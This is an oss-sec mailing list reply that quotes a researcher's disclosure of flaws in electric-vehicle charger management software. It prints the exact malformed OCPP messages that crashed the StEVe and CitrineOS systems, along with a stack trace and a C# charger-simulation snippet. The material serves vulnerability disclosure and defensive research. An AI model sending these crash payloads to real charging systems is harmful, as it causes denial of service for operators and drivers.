oss-sec mailing list archives

Re: Electric Charger Research


From: Solar Designer <solar () openwall com>
Date: Tue, 8 Jul 2025 02:15:45 +0200

On Mon, Jul 07, 2025 at 12:38:50PM -0500, Brandon Perry wrote:
Attached is a write-up of some research I've been doing since November last
year. The research covers the digital protocols used from an electric
vehicle -> charger (ISO-15118) and the protocols used to manage the charger
from a central management system (OCPP). I also cover some of the equipment
I've used to do the research.

tl;dr - Your vehicle charger port or EVSE charger cable is functionally a
network interface utilizing powerline communication over the control pilot
pin. Using a development kit for electric vehicle and charger research, I
showed how SSH can be configured to listen on the charger cable
accidentally, allowing a vehicle to initiate the network and authenticate
to the SSH server over the charger cable.

I also demonstrate two separate issues affecting open source CSMS
implementations, one a full denial of service, the other partial DoS.

You can also find this HTML file here: https://ocpp.us/howto.html

I hope this helps others. Thanks.

Thank you for your research, and for sharing it publicly.

Looks like the attached HTML file got stripped.  I've now adjusted the
list settings, and am re-attaching content of the above web page,
converted to plain text as well as the HTML original.  I also quote the
portion most relevant to this mailing list below:

During my initial research, I was able to focus on two open source CSMS
projects; StEVe and CitrineOS. I reported one issue each to these
projects, detailed below.

 StEVe CSMS

The open source CSMS StEVe relies on Security Profile 0. The following
message can be sent by any charger connected, with any idTag.

[2, "dddb2599-d678-4ff8-bf38-a230390a1200", "StartTransaction",
{"connectorId": 42, "meterStart": 42, "idTag": "some id", "timestamp":
"222222017-10-27T19:10:11Z"}]

Note the invalid timestamp. Once parsed by the StEVe CSMS, a database
record is created which causes the Transactions page to crash, preventing
any listing of current and past transaction in the system.

 CitrineOS

CitrineOS implements several security profiles. The following
vulnerability was found and fixed in CitrineOS. An invalid
BootNotification message would cause the CSMS to crash completely.

[2, "5e58c16f-32ee-4589-ae5d-2272e5beeb71", "BootNotification", {}]

Note the empty JSON with no keys or values for the invalid
BootNotification message. Below is the stacktrace printed once the message
is recieved and processed.

 2024-11-22 18:57:26 /usr/local/apps/citrineos/03_Modules/Configuration/dist/module/DeviceModelService.js:88
 2024-11-22 18:57:26                     value: chargingStation.model,
 2024-11-22 18:57:26                                            ^
 2024-11-22 18:57:26
 2024-11-22 18:57:26 TypeError: Cannot read properties of undefined (reading 'model')
 2024-11-22 18:57:26     at DeviceModelService. 
(/usr/local/apps/citrineos/03_Modules/Configuration/dist/module/DeviceModelService.js:88:44)
 2024-11-22 18:57:26     at Generator.next ()
 2024-11-22 18:57:26     at /usr/local/apps/citrineos/03_Modules/Configuration/dist/module/DeviceModelService.js:11:71
 2024-11-22 18:57:26     at new Promise ()
 2024-11-22 18:57:26     at __awaiter 
(/usr/local/apps/citrineos/03_Modules/Configuration/dist/module/DeviceModelService.js:7:12)
 2024-11-22 18:57:26     at DeviceModelService.updateDeviceModel 
(/usr/local/apps/citrineos/03_Modules/Configuration/dist/module/DeviceModelService.js:82:16)
 2024-11-22 18:57:26     at ConfigurationModule. 
(/usr/local/apps/citrineos/03_Modules/Configuration/dist/module/module.js:136:38)
 2024-11-22 18:57:26     at Generator.next ()
 2024-11-22 18:57:26     at fulfilled (/usr/local/apps/citrineos/03_Modules/Configuration/dist/module/module.js:18:58)
 2024-11-22 18:57:26     at process.processTicksAndRejections (node:internal/process/task_queues:95:5)

This bug caused the CitrineOS service to crash completely, resulting in a
full denial of service.

  VolatileOCPP Project

A project I started when beginning this research was implementing some of
the Open Charge Alliance OCPP compliance tests, mainly focused around
security features. During this development, I also found an old OCPP
fuzzer developed at a university in Germany several years ago. The code
was technically broken and only targetted OCPP 1.6. Within the
VolatileOCPP project is an updated fuzzer based on this code. You can find
the full code project on GitHub at
https://github.com/brandonprry/VolatileOCPP. Both of the issues noted
above in StEVe and CitrineOS were found with this updated fuzzer.

In addition to the OCPP fuzzer, there are several Open Charge Alliance
Compliancy tests written in a C# framework. These tests are written based
directly on the official OCA Compliancy Test documentation. Not every OCA
test is implemented, but most of the security related tests are. For
instance, the framework implements the OCA checks for verifying the CSMS
supports expiring or blocking EVCCIDs.

A nice by-product of the framework is easily spinning up a simulated
charger to interface with a CSMS.

 string url = "ws://localhost:8180/steve/websocket/CentralSystemService/1";
 string protocol = "ocpp1.6";

 List<Task> tasks = new List<Task>();
 for (int i = 1; i< 11; i++)
 {
  Charger c = new Charger(url, protocol);
  c.ConnectorID = i.ToString();
  c.IDTag = "volatileocpp";
  tasks.Add(Task.Run(c.Simulate));
 }

 foreach (Task t in tasks)
  t.Wait();

This is the simplest example of a simulated charger interfacing with the
StEVe CSMS which implements Security Profile 0. However, every security
profile should be supported and most profiles (0, 1, and 2) have been
tested on real-world CSMS software.

Alexander

Attachment: howto.txt
Description:


Current thread: